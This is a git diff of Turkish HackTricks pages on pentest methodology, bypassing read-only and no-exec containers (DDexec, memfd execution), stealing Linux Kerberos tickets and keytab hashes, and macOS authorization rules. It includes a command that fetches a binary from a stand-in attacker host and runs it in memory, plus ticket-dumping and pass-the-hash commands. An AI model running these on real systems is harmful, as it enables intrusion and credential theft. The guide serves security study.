**Toplanan kimlik bilgileriyle** diğer makinelere erişiminiz olabilir veya belki de **yeni hostları keşfetmek ve taramak** (Pentesting Metodolojisini yeniden başlatmak) için ihtiyacınız vardır.\
Bu durumda tünelleme gerekli olabilir. [**Tünelleme hakkında bir yazı bulabilirsiniz**](tunneling-and-port-forwarding.md).\
**Toplanan kimlik bilgileriyle** diğer makinelere erişiminiz olabilir veya belki de **yeni hostları keşfetmek ve taramak** (Pentesting Metodolojisini yeniden başlatmak) için ihtiyacınız olabilir.\
Bu durumda tünelleme gerekli olabilir. Burada [**tünelleme hakkında bir yazı bulabilirsiniz**](tunneling-and-port-forwarding.md).\
Ayrıca [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkında yazıyı kontrol etmelisiniz. Orada yanlamasına hareket etme, ayrıcalıkları yükseltme ve kimlik bilgilerini dökme konusunda harika ipuçları bulacaksınız.\
Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows ortamlarında pivot yapmak için çok faydalı olabilir.
Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows ortamlarında pivotlama için çok faydalı olabilir.
### DAHA FAZLA
#### [Android Uygulamaları](../mobile-pentesting/android-app-pentesting/)
#### **Sömürme**
#### **Sömürü**
* [**Temel Linux Sömürme**](broken-reference/)
* [**Temel Windows Sömürme**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [**Temel Linux Sömürüsü**](broken-reference/)
* [**Temel Windows Sömürüsü**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [**Temel sömürü araçları**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
#### [**Temel Python**](python/)
@ -151,22 +151,22 @@ Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -9,13 +9,13 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
@ -25,8 +25,8 @@ Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek
Aşağıdaki videolarda bu sayfada bahsedilen teknikleri daha derinlemesine bulabilirsiniz:
* [**DEF CON 31 - Gizlilik ve Kaçış için Linux Bellek Manipülasyonu Keşfi**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**DDexec-ng ile Gizli Sızmalar & Bellek İçi dlopen() - HackTricks Takvimi 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
* [**DEF CON 31 - Linux Bellek Manipülasyonunu Gizlilik ve Kaçış için Keşfetmek**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**DDexec-ng ile Gizli Sızmalar & Bellek İçi dlopen() - HackTricks Takip 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## yalnızca okunur / çalıştırma yok senaryosu
@ -45,15 +45,15 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Ancak, dosya sistemi ro olarak monte edilse bile, **`/dev/shm`** hala yazılabilir olacak, bu nedenle diske hiçbir şey yazamayacağımız yalan. Ancak, bu klasör **çalıştırma yok koruması** ile monte edilecektir, bu nedenle burada bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**.
Ancak, dosya sistemi ro olarak monte edilse bile, **`/dev/shm`** hala yazılabilir olacak, bu yüzden diske hiçbir şey yazamayacağımız yalan. Ancak, bu klasör **çalıştırma yok koruması** ile monte edilecektir, bu nedenle burada bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**.
{% hint style="warning" %}
Kırmızı takım perspektifinden, bu, sistemde zaten bulunmayan ikili dosyaları **indirmeyi ve çalıştırmayı zorlaştırıyor** (örneğin, arka kapılar veya `kubectl` gibi sayıcılar).
Kırmızı takım perspektifinden, bu, sistemde zaten olmayan ikili dosyaları **indirmeyi ve çalıştırmayı zorlaştırıyor** (örneğin arka kapılar veya `kubectl` gibi sayıcılar).
{% endhint %}
## En Kolay Aşma: Scriptler
İkili dosyalardan bahsettiğimi unutmayın, eğer yorumlayıcı makine içinde mevcutsa, bir **shell script** veya `python` yüklüyse bir **python script** gibi **herhangi bir scripti** çalıştırabilirsiniz.
İkili dosyalardan bahsettiğimi unutmayın, eğer yorumlayıcı makine içinde mevcutsa, bir **shell script** veya **python** **script** gibi **herhangi bir scripti** çalıştırabilirsiniz.
Ancak, bu yalnızca ikili arka kapınızı veya çalıştırmanız gereken diğer ikili araçları çalıştırmak için yeterli değildir.
@ -63,21 +63,21 @@ Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin v
### FD + exec syscall aşması
Makine içinde bazı güçlü script motorlarına sahipseniz, örneğin **Python**, **Perl** veya **Ruby**, ikili dosyayı bellekte çalıştırmak için indirebilir, bir bellek dosya tanımlayıcısında (`create_memfd` syscall) saklayabilir, bu korumalardan etkilenmeyecek ve ardından **`exec` syscall** çağrısı yaparak **çalıştırılacak dosya olarak fd'yi belirtebilirsiniz**.
Makine içinde bazı güçlü script motorlarına sahipseniz, örneğin **Python**, **Perl** veya **Ruby**, ikili dosyayı belleğe indirmek, bir bellek dosya tanımlayıcısında (`create_memfd` syscall) saklamak, bu korumalardan etkilenmeyecek ve ardından **`exec` syscall** çağrısı yaparak **çalıştırılacak dosya olarak fd'yi belirtmek** mümkündür.
Bunun için [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kolayca kullanabilirsiniz. Bir ikili dosya geçirebilir ve belirtilen dilde **ikili dosya sıkıştırılmış ve b64 kodlanmış** bir script oluşturur, ardından **bellek fd'sinde** `create_memfd` syscall çağrısı yaparak **çözme ve açma** talimatları ile birlikte çalıştırır.
Bunun için [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kolayca kullanabilirsiniz. Bir ikili dosya geçirebilir ve belirtilen dilde **ikili dosya sıkıştırılmış ve b64 kodlanmış** bir script oluşturur, ardından **bellek fd'sinde** saklamak için `create_memfd` syscall'ını çağırarak ve çalıştırmak için **exec** syscall'ına bir çağrı yaparak **çözme ve açma** talimatları verir.
{% hint style="warning" %}
Bu, PHP veya Node gibi diğer script dillerinde çalışmaz çünkü scriptten ham syscall'leri çağırmanın **varsayılan bir yolu yoktur**, bu nedenle ikili dosyayı saklamak için **bellek fd'si** oluşturmak için `create_memfd` çağrısı yapmak mümkün değildir.
Bu, PHP veya Node gibi diğer script dillerinde çalışmaz çünkü scriptten ham syscall'ları çağırmanın **varsayılan bir yolu yoktur**, bu nedenle ikili dosyayı saklamak için **bellek fd'si** oluşturmak için `create_memfd` çağrısı yapmak mümkün değildir.
Ayrıca, `/dev/shm` içinde bir dosya ile **normal bir fd** oluşturmak işe yaramaz, çünkü **çalıştırma yok koruması** uygulanacağı için bunu çalıştırmanıza izin verilmeyecektir.
{% endhint %}
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) tekniği, kendi sürecinizin belleğini **`/proc/self/mem`** üzerine yazarak **değiştirmenizi** sağlar.
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) tekniği, kendi sürecinizin belleğini **`/proc/self/mem`** üzerinden yazma ile **değiştirmenizi** sağlar.
Bu nedenle, sürecin yürüttüğü **montaj kodunu kontrol ederek**, bir **shellcode** yazabilir ve süreci "değiştirerek" **herhangi bir keyfi kodu çalıştırabilirsiniz**.
Bu nedenle, sürecin yürüttüğü **montaj kodunu kontrol ederek**, bir **shellcode** yazabilir ve süreci **herhangi bir keyfi kodu çalıştıracak şekilde "mutasyona uğratabilirsiniz"**.
{% hint style="success" %}
**DDexec / EverythingExec**, kendi **shellcode'unuzu** veya **herhangi bir ikili dosyayı** **bellekten** yükleyip **çalıştırmanıza** olanak tanır.
@ -86,7 +86,7 @@ Bu nedenle, sürecin yürüttüğü **montaj kodunu kontrol ederek**, bir **shel
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
```
Daha fazla bilgi için bu tekniği kontrol edin Github veya:
For more information about this technique check the Github or:
{% content-ref url="ddexec.md" %}
[ddexec.md](ddexec.md)
@ -106,7 +106,7 @@ DDexec ile benzer bir amaca sahip olan [**memdlopen**](https://github.com/arget1
### Distroless nedir
Distroless konteynerler, belirli bir uygulama veya hizmeti çalıştırmak için gerekli olan **en az gerekli bileşenleri** içerir, örneğin kütüphaneler ve çalışma zamanı bağımlılıkları, ancak bir paket yöneticisi, shell veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar.
Distroless konteynerler, belirli bir uygulama veya hizmeti çalıştırmak için gerekli olan **en az düzeyde bileşenleri** içerir, örneğin kütüphaneler ve çalışma zamanı bağımlılıkları, ancak paket yöneticisi, shell veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar.
Distroless konteynerlerin amacı, **gereksiz bileşenleri ortadan kaldırarak konteynerlerin saldırı yüzeyini azaltmak** ve istismar edilebilecek zafiyet sayısını en aza indirmektir.
@ -115,13 +115,13 @@ Distroless konteynerlerin amacı, **gereksiz bileşenleri ortadan kaldırarak ko
Bir distroless konteynerde **normal bir shell almak için `sh` veya `bash`** bile bulamayabilirsiniz. Ayrıca `ls`, `whoami`, `id` gibi ikili dosyaları da bulamayacaksınız... genellikle bir sistemde çalıştırdığınız her şey.
{% hint style="warning" %}
Bu nedenle, **ters bir shell** almanız veya sistemi **numaralandırmanız** mümkün **olmayacaktır**.
Bu nedenle, **ters bir shell** almanız veya sistemi **listelemeniz** mümkün **olmayacaktır**.
{% endhint %}
Ancak, eğer ele geçirilmiş konteyner örneğin bir flask web çalıştırıyorsa, o zaman python yüklüdür ve bu nedenle bir **Python ters shell** alabilirsiniz. Eğer node çalıştırıyorsa, bir Node rev shell alabilirsiniz ve çoğu **betik dili** ile aynı durum geçerlidir.
Ancak, eğer ele geçirilmiş konteyner örneğin bir flask web çalıştırıyorsa, o zaman python yüklüdür ve dolayısıyla bir **Python ters shell** alabilirsiniz. Eğer node çalıştırıyorsa, bir Node rev shell alabilirsiniz ve çoğu **betik dili** ile aynı durum geçerlidir.
{% hint style="success" %}
Betik dilini kullanarak **sistemi numaralandırabilirsiniz**.
Betik dilini kullanarak **sistemi listeleyebilirsiniz**.
{% endhint %}
Eğer **`read-only/no-exec`** korumaları yoksa, ters shell'inizi kullanarak **dosya sistemine ikili dosyalarınızı yazabilir** ve **çalıştırabilirsiniz**.
@ -132,7 +132,7 @@ Ancak, bu tür konteynerlerde bu korumalar genellikle mevcut olacaktır, ancak *
**Bazı RCE zafiyetlerini istismar ederek betik dillerinden **ters shell'ler** almak ve hafızadan ikili dosyaları çalıştırmak için **örnekleri** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulabilirsiniz.
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı lehçe yazılı ve sözlü gereklidir_).

View file

@ -1,8 +1,8 @@
# Linux Active Directory
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,8 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Bir linux makinesi, bir Active Directory ortamında da bulunabilir.
@ -55,9 +53,9 @@ Bu sayfada, **bir linux ana bilgisayarında kerberos biletlerini nerede bulabile
### /tmp'den CCACHE bilet yeniden kullanımı
CCACHE dosyaları, **Kerberos kimlik bilgilerini saklamak için** ikili formatlardır ve genellikle `/tmp` içinde 600 izinleriyle saklanır. Bu dosyalar, kullanıcının UID'sine karşılık gelen **isim formatı, `krb5cc_%{uid}`,** ile tanımlanabilir. Kimlik doğrulama biletinin doğrulanması için, **`KRB5CCNAME`** ortam değişkeni, istenen bilet dosyasının yoluna ayarlanmalıdır, bu da yeniden kullanımını sağlar.
CCACHE dosyaları, **Kerberos kimlik bilgilerini** saklamak için kullanılan ikili formatlardır ve genellikle `/tmp` içinde 600 izinleriyle saklanır. Bu dosyalar, kullanıcının UID'sine karşılık gelen **isim formatı, `krb5cc_%{uid}`,** ile tanımlanabilir. Kimlik doğrulama biletinin doğrulanması için, **`KRB5CCNAME`** ortam değişkeni, istenen bilet dosyasının yoluna ayarlanmalıdır, bu da yeniden kullanımını sağlar.
Kimlik doğrulama için kullanılan mevcut bileti `env | grep KRB5CCNAME` ile listeleyin. Format taşınabilir ve bilet, **ortam değişkenini ayarlayarak** yeniden kullanılabilir: `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos bilet isim formatı `krb5cc_%{uid}` şeklindedir; burada uid, kullanıcının UID'sidir.
Kimlik doğrulama için kullanılan mevcut bileti `env | grep KRB5CCNAME` ile listeleyin. Format taşınabilir ve bilet, ortam değişkenini `export KRB5CCNAME=/tmp/ticket.ccache` ile ayarlayarak **yeniden kullanılabilir**. Kerberos bilet adı formatı `krb5cc_%{uid}` şeklindedir; burada uid, kullanıcının UID'sidir.
```bash
# Find tickets
ls /tmp/ | grep krb5cc
@ -68,7 +66,7 @@ export KRB5CCNAME=/tmp/krb5cc_1000
```
### CCACHE bilet yeniden kullanımı anahtarlık üzerinden
**Bir sürecin belleğinde depolanan Kerberos biletleri çıkarılabilir**, özellikle makinenin ptrace koruması devre dışı bırakıldığında (`/proc/sys/kernel/yama/ptrace_scope`). Bu amaçla yararlı bir araç [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) adresinde bulunur; bu araç, oturumlara enjekte ederek biletleri `/tmp` dizinine dökme işlemini kolaylaştırır.
**Bir işlemin belleğinde saklanan Kerberos biletleri çıkarılabilir**, özellikle makinenin ptrace koruması devre dışı bırakıldığında (`/proc/sys/kernel/yama/ptrace_scope`). Bu amaçla yararlı bir araç [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) adresinde bulunur; bu araç, oturumlara enjekte ederek biletleri `/tmp` dizinine dökme işlemini kolaylaştırır.
Bu aracı yapılandırmak ve kullanmak için aşağıdaki adımlar izlenir:
```bash
@ -79,7 +77,6 @@ make CONF=Release
```
Bu prosedür, çeşitli oturumlara enjekte etmeyi deneyecek ve başarıyı, çıkarılan biletleri `/tmp` dizininde `__krb_UID.ccache` adlandırma kuralıyla saklayarak gösterecektir.
### SSSD KCM'den CCACHE bilet yeniden kullanımı
SSSD, veritabanının bir kopyasını `/var/lib/sss/secrets/secrets.ldb` yolunda tutar. İlgili anahtar, `/var/lib/sss/secrets/.secrets.mkey` yolunda gizli bir dosya olarak saklanır. Varsayılan olarak, anahtar yalnızca **root** izinleriniz varsa okunabilir.
@ -99,9 +96,9 @@ klist -k /etc/krb5.keytab
```
### /etc/krb5.keytab dosyasından hesapları çıkar
Kök ayrıcalıklarıyla çalışan hizmetler için gerekli olan hizmet hesabı anahtarları, **`/etc/krb5.keytab`** dosyalarında güvenli bir şekilde saklanır. Bu anahtarlar, hizmetler için şifreler gibi, sıkı bir gizlilik gerektirir.
Kök ayrıcalıklarıyla çalışan hizmetler için gerekli olan hizmet hesap anahtarları, **`/etc/krb5.keytab`** dosyalarında güvenli bir şekilde saklanır. Bu anahtarlar, hizmetler için şifreler gibi, sıkı bir gizlilik gerektirir.
Keytab dosyasının içeriğini incelemek için **`klist`** kullanılabilir. Bu araç, özellikle anahtar türü 23 olarak tanımlandığında, kullanıcı kimlik doğrulaması için **NT Hash** dahil olmak üzere anahtar ayrıntılarını görüntülemek üzere tasarlanmıştır.
Keytab dosyasının içeriğini incelemek için **`klist`** kullanılabilir. Bu araç, anahtar türü 23 olarak belirlendiğinde, kullanıcı kimlik doğrulaması için **NT Hash** dahil olmak üzere anahtar ayrıntılarını görüntülemek üzere tasarlanmıştır.
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
@ -120,24 +117,23 @@ macOS'ta, **`bifrost`** anahtar dosyası analizi için bir araç olarak hizmet e
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```
## Referanslar
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,7 +1,5 @@
# macOS Authorizations DB & Authd
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -17,21 +15,21 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details>
{% endhint %}
## **Yetkilendirme DB'si**
## **Yetkilendirme DB**
`/var/db/auth.db` konumunda bulunan veritabanı, hassas işlemleri gerçekleştirmek için izinleri saklamak için kullanılan bir veritabanıdır. Bu işlemler tamamen **kullanıcı alanında** gerçekleştirilir ve genellikle belirli bir eylemi gerçekleştirmek için **çağıran istemcinin yetkilendirilip yetkilendirilmediğini** kontrol etmesi gereken **XPC hizmetleri** tarafından kullanılır.
`/var/db/auth.db` konumunda bulunan veritabanı, hassas işlemleri gerçekleştirmek için izinleri saklamak amacıyla kullanılan bir veritabanıdır. Bu işlemler tamamen **kullanıcı alanında** gerçekleştirilir ve genellikle belirli bir eylemi gerçekleştirmek için **çağıran istemcinin yetkilendirilip yetkilendirilmediğini** kontrol etmesi gereken **XPC hizmetleri** tarafından kullanılır.
Başlangıçta bu veritabanı, `/System/Library/Security/authorization.plist` içeriğinden oluşturulur. Daha sonra bazı hizmetler bu veritabanına diğer izinleri eklemek veya verileri değiştirmek için ekleme yapabilir.
Başlangıçta bu veritabanı, `/System/Library/Security/authorization.plist` içeriğinden oluşturulur. Daha sonra bazı hizmetler, bu veritabanına diğer izinleri eklemek veya mevcut verileri değiştirmek için ekleme yapabilir.
Kurallar, veritabanının içindeki `rules` tablosunda saklanır ve aşağıdaki sütunları içerir:
Kurallar, veritabanındaki `rules` tablosunda saklanır ve aşağıdaki sütunları içerir:
* **id**: Her kural için benzersiz bir tanımlayıcı, otomatik olarak artan ve birincil anahtar olarak hizmet eder.
* **name**: Yetkilendirme sisteminde tanımlamak ve referans vermek için kullanılan kuralın benzersiz adı.
* **name**: Yetkilendirme sisteminde kuralı tanımlamak ve referans vermek için kullanılan kuralın benzersiz adı.
* **type**: Kuralın türünü belirtir, yetkilendirme mantığını tanımlamak için 1 veya 2 değerleriyle sınırlıdır.
* **class**: Kuralı belirli bir sınıfa kategorize eder, pozitif bir tam sayı olmasını sağlar.
* "allow" izin vermek için, "deny" reddetmek için, "user" eğer grup özelliği erişime izin veren bir grup gösteriyorsa, "rule" bir dizide yerine getirilmesi gereken bir kuralı belirtir, "evaluate-mechanisms" ardından `/System/Library/CoreServices/SecurityAgentPlugins/` veya /Library/Security//SecurityAgentPlugins içindeki bir paket adını içeren `mechanisms` dizisi gelir.
* "allow" izin vermek için, "deny" reddetmek için, "user" eğer grup özelliği erişime izin veren bir grup gösteriyorsa, "rule" bir dizide yerine getirilmesi gereken bir kuralı belirtir, "evaluate-mechanisms" ardından `/System/Library/CoreServices/SecurityAgentPlugins/` veya /Library/Security//SecurityAgentPlugins içindeki bir paket adını veya yerleşik olanları içeren bir `mechanisms` dizisi gelir.
* **group**: Grup tabanlı yetkilendirme için kural ile ilişkili kullanıcı grubunu belirtir.
* **kofn**: Toplam sayıdan kaç alt kuralın karşılanması gerektiğini belirten "k-of-n" parametresini temsil eder.
* **kofn**: Toplam sayıdan kaç alt kuralın karşılanması gerektiğini belirleyen "k-of-n" parametresini temsil eder.
* **timeout**: Kural tarafından verilen yetkilendirmenin süresinin dolmadan önceki süreyi tanımlar.
* **flags**: Kuralın davranışını ve özelliklerini değiştiren çeşitli bayrakları içerir.
* **tries**: Güvenliği artırmak için izin verilen yetkilendirme denemelerinin sayısını sınırlar.
@ -88,13 +86,13 @@ Ayrıca [https://www.dssw.co.uk/reference/authorization-rights/authenticate-admi
```
## Authd
Bu, istemcilerin hassas eylemleri gerçekleştirmesi için yetkilendirme taleplerini alacak bir daemon'dur. `XPCServices/` klasörü içinde tanımlanan bir XPC servisi olarak çalışır ve günlüklerini `/var/log/authd.log` dosyasına yazar.
Bu, istemcilerin hassas eylemleri gerçekleştirmesi için yetkilendirme taleplerini alacak bir daemon'dur. `XPCServices/` klasörü içinde tanımlanmış bir XPC servisi olarak çalışır ve günlüklerini `/var/log/authd.log` dosyasına yazar.
Ayrıca, güvenlik aracını kullanarak birçok `Security.framework` API'sini test etmek mümkündür. Örneğin, `AuthorizationExecuteWithPrivileges` çalıştırarak: `security execute-with-privileges /bin/ls`
Bu, `/usr/libexec/security_authtrampoline /bin/ls`'yi root olarak fork ve exec edecektir; bu da ls'yi root olarak çalıştırmak için bir izin istemi gösterecektir:
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,8 +1,8 @@
# macOS Kod İmzalama
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
